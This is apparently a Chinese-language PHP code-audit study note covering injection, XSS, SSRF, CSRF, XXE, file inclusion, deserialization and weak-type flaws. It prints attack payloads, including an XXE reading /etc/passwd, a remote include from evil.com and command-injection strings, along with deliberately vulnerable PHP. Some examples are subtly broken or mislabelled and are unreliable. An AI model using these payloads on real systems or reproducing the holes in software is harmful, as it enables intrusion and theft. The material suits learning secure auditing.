PHP code audit(代碼審計)是一個關鍵的流程,它能夠幫助發現和解決應用程序的漏洞和安全問題,確保code的品質和可靠性。
在進行代碼審計時,首先需要對所有用戶輸入進行驗證。常見的用戶輸入包括 $_SERVER、$_GET、$_POST 和 $_FILES 等。如果這些用戶輸入未經過驗證就被用於代碼中,則可能會導致各種漏洞和安全問題。
通常Code裡面會使用一些系統語法
EX:
system()、exec()、shell_exec()、passthru()
<?php
# PHP Command Injection範例
$command = "ping $_GET['ip']";
system($command)
?>
攻擊可以注入0.0.0.0;whoami;ls;pwd
的命令進行攻擊
常見函數
eval();
preg_replace();
<?php
eval($_GET('ip'));
?>
攻擊者輸入5; system('ls -al');
或5; phpinfo();
進行攻擊
常見SQL注入攻擊
input輸入:' or 1=1;--'
跨站腳本攻擊,使用戶瀏覽器執行攻擊者JS代碼
?name=<script type="text/javascript">alert('1');</script>
常見的文件利用漏洞,如data://、php://input、include()、require()、file://、dict://
參數
php引起SSRF的主要參數,如curl()、file_get_content()、fsockopen()
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
攻擊者利用curl函數指向本機的地址,該地址可以是內部網路的某個私有IP地址。如果內部網路上有一個文件在此地址,攻擊者就可以藉此下載該文件,因為curl函數會忽略HTTP請求中的主機名,並直接將請求發送到指定的IP地址。
輸入 = 'http://example.com/ssrf.php?url=http://127.0.0.1/secret_document.pdf'
偽協議
如file、dict
http://example.com/ssrf.php?url=dict://127.0.0.1:6379/info //查看redis配置
防護:
情境:
受害者先登入了example.com系統
攻擊者發送一段程式碼,發送submit會同時將example.com的使用者帳號密碼刪除
受害者按下submit,因為example.com已被受害者登入過了,受害者的example.com的帳密被刪除
防護:
加載惡意XML,輸出passwd
惡意XML:
<!DOCTYPE root [
<!ENTITY sensitiveFile SYSTEM "file:///etc/passwd">
]>
<root>
<data>&sensitiveFile;</data>
</root>
PHP code
<?php
$xml = file_get_contents('payload.xml');
$doc = new DOMDocument();
$doc->loadXML($xml);
echo $doc->getElementsByTagName('data')[0]->nodeValue;
?>
如include()、require()
等函數引入外部檔案,若未針對外部檔案做驗證,攻擊可能利用這個漏洞注入惡意程式碼
$page = $_GET['page'];
include($page . '.php');
攻擊者可以在page輸入匡注入http://evil.com/malicious
引入惡意程式碼
unlink()
file_get()
fopen()
php magic method
__sleep() # 先被調用,後才執行serialize方法。__sleep方法決定哪些屬性被序列化,默認序列化所有屬性。
__wakeup() # 先被調用,後才執行unserialize()方法。__wakeup()方法對哪些屬性初始化、賦值或改變
範例
CVE漏洞 :
影響範圍:
PHP5 < 5.6.25
PHP7 < 7.0.10
當序列化字串對象屬性大於實際屬性數量時,將不會調用__wakeup函數
<?php
class human
{
public $name;
public $age;
function __wakeup()
{
$this->name='Hello wake up ';
}
function __destruct()
{
echo $this->name;
}
}
$array = new human();
$array->name = 'Tom';
$array->age = 20;
$sArray = serialize($array);
var_dump($sArray); # string(52) "O:5:"human":2:{s:4:"name";s:3:"Tom";s:3:"age";i:20;}"
# change serialize string
$sArray = 'O:5:"human":2:{s:1:"name";s:3:"Tom";s:3:"age";i:20;}';
$resetArray = unserialize($sArray); # Notice: unserialize(): Error
var_dump($resetArray); # bool(false)
防護:
弱類型也可能導致code error,因為弱類型的變量類型是動態確定的,所以在運算或是比較時可能會發生類型轉換,可能導致非預期的結果。同時也代表code的邏輯可能會出現錯誤、可讀性差的結果
== vs. ===
== 在比較時,會先將兩者類型轉換為相同類型,再進行比較
var_dump(5=="5") // bool(true)
var_dump(5==="5") // bool(false)
// e
var_dump("0e123456"=="0e456789"); // bool(true)
array_search
比較時用到了==非===
array_search()
$array=[0,1,2,'3'];
var_dump(array_search(1,$array)); // int(1)
var_dump(array_search("0",$array)); // int(0)
var_dump(array_search("0e0",$array)); // int(0)
var_dump(array_search("1e0",$array)); // int(1)
var_dump(array_search("admin",$array)); // bool(false)
in_array()
與array_search()一樣,會進行類型的轉換
$array=[0,1,2,'3'];
var_dump(in_array('0', $array)); // bool(true)
var_dump(in_array(3, $array)); // bool(true)
雜湊
雜湊值是[數字]+'e'+[數字],導致只有比對'e'前的數字
來源
var_dump(md5('240610708') == md5('QNKCDZO'));